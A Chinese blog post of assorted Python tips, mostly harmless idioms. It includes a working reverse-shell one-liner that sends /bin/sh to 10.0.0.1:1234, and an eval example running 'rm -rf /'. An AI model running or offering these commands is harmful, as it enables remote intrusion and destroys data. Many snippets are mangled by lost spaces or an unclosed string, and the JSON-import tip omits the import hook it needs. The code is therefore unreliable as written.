Python技巧续

  • Z时代
  • 2024-01-10
  • 分类：综合

coding

函数连续调用

  1. def add(x):
  2.     classAddNum(int):
  3.         def __call__(self, x):
  4.             returnAddNum(self.numerator + x)
  5.     returnAddNum(x)
  7. >>> add(2)(3)(5)
  8. 10
  9. >>> add(2)(3)(4)(5)(6)(7)
  10. 27
  11. #js
  12. var add =function(x){
  13.     var addNum =function(x){
  14.         return add(addNum + x);
  15.     };
  16.     addNum.toString =function(){
  17.         return x;
  18.     }
  19.     return addNum;
  20. }
  22. add(2)(3)(5)//10add(2)(3)(4)(5)(6)(7)
  23. //27

获取公网IP

  1. python-c "import socket; sock=socket.create_connection(('ns1.dnspod.net',6666)); print sock.recv(16); sock.close()"

反弹 shell

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

默认值陷阱

  1. >>> def evil(v=[]):
  2. ...     v.append(1)
  3. ...     print v
  4. ...
  5. >>> evil()
  6. [1]
  7. >>> evil()
  8. [1,1]

import 导入一个 json

  1. $cat tester.json
  2. {
  3.     "hello":"world",
  4.     "this":{
  5.         "can":{
  6.             "be":"nested"
  7.         }
  8.     }
  9. }
  10. >>>import tester
  11. >>> tester
  12. <module 'tester' from 'tester.json'>
  13. >>> tester.hello
  14. u'world'
  15. >>> tester.this.can.be
  16. u'nested'

for else

  1. for i in range(10):
  2.     if i ==10:
  3.         break
  4.     print(i)
  5. else:
  6.     print('10不在里面！')
  7. flag =False
  8. for i in range(10):
  9.     if i ==10:
  10.         flag =True
  11.         break
  12.     print(i)
  13. if not flag:
  14.     print('10不在里面！')

读写csv文件

  1. #从csv中读取文件,基本和传统文件读取类似
  2. import csv
  3. with open('data.csv','rb') as f:
  4.     reader = csv.reader(f)
  5.     for row in reader:
  6.         print row
  7. #向csv文件写入
  8. import csv
  9. with open('data.csv','wb') as f:
  10.     writer = csv.writer(f)
  11.     writer.writerow(['name','address','age'])  #单行写入
  12.     data =[
  13.             ('xiaoming ','china','10'),
  14.             ('Lily','USA','12')]
  15.     writer.writerows(data)  #多行写入

多个 list 合并为一个 list

  1. >>> l=[[1,2,3],[4,5,6],[7,8,9]]
  2. >>>[j for i in l for j in i]
  3. [1,2,3,4,5,6,7,8,9]
  4. >>> sum(l,[])
  5. [1,2,3,4,5,6,7,8,9]
  7. >>> a =[1,3,5,7,9]
  8. >>> b =[2,3,4,5,6]
  9. >>> c =[5,6,7,8,9]
  10. >>> list(set().union(a, b, c))
  11. [1,2,3,4,5,6,7,8,9]

一行代码实现多线程/多进程

  1. import urllib2 
  2. #多进程的话只需把 from multiprocessing.dummy 改成 from multiprocessing 
  3. from multiprocessing.dummy importPool as ThreadPool
  4. urls =[    'http://www.python.org',     'http://www.python.org/about/',    'http://www.onlamp.com/pub/a/python/2003    ]
  5. pool =ThreadPool(4)
  6. results = pool.map(urllib2.urlopen, urls)
  7. pool.close()
  8. pool.join()

json 格式化

  1. echo '{"k": "v"}'| python -m json.tool
  2. curl -L http://restapi/json_response -o json-response | python -m json.tool 
  3. import antigravity
  5. # https://hg.python.org/cpython/file/1823cf6e1084/Lib/antigravity.py
  6. #pydoc –p 8080
  7. #python3 -m http.server 8080
  8. #FTP服务器
  9. python -m pyftpdlib
  10. [I 2017-09-0123:18:27]>>> starting FTP server on 0.0.0.0:2121, pid=16840<<<
  11. [I 2017-09-0123:18:27] concurrency model: async
  12. [I 2017-09-0123:18:27] masquerade (NAT) address:None
  13. [I 2017-09-0123:18:27] passive ports:None

eval

  1. >>>eval("__import__('os').system('rm -rf /')",{})

斐波那契数列

  1. >>import itertools
  2. >>> def fib():
  3. ...     a, b =0,1
  4. ...     while1:
  5. ...         yield b
  6. ...         a, b = b, a + b
  7. ...
  8. >>>
  9. >>> print list(itertools.islice(fib(),10))
  10. [1,1,2,3,5,8,13,21,34,55]

宇宙终极答案

  1. >>> ord('*')
  2. 42

参考链接

  1. http://dongweiming.github.io/Expert-Python/#3
  2. http://www.codeceo.com/article/17-python-tips.html
  3. https://www.zhihu.com/question/27376156


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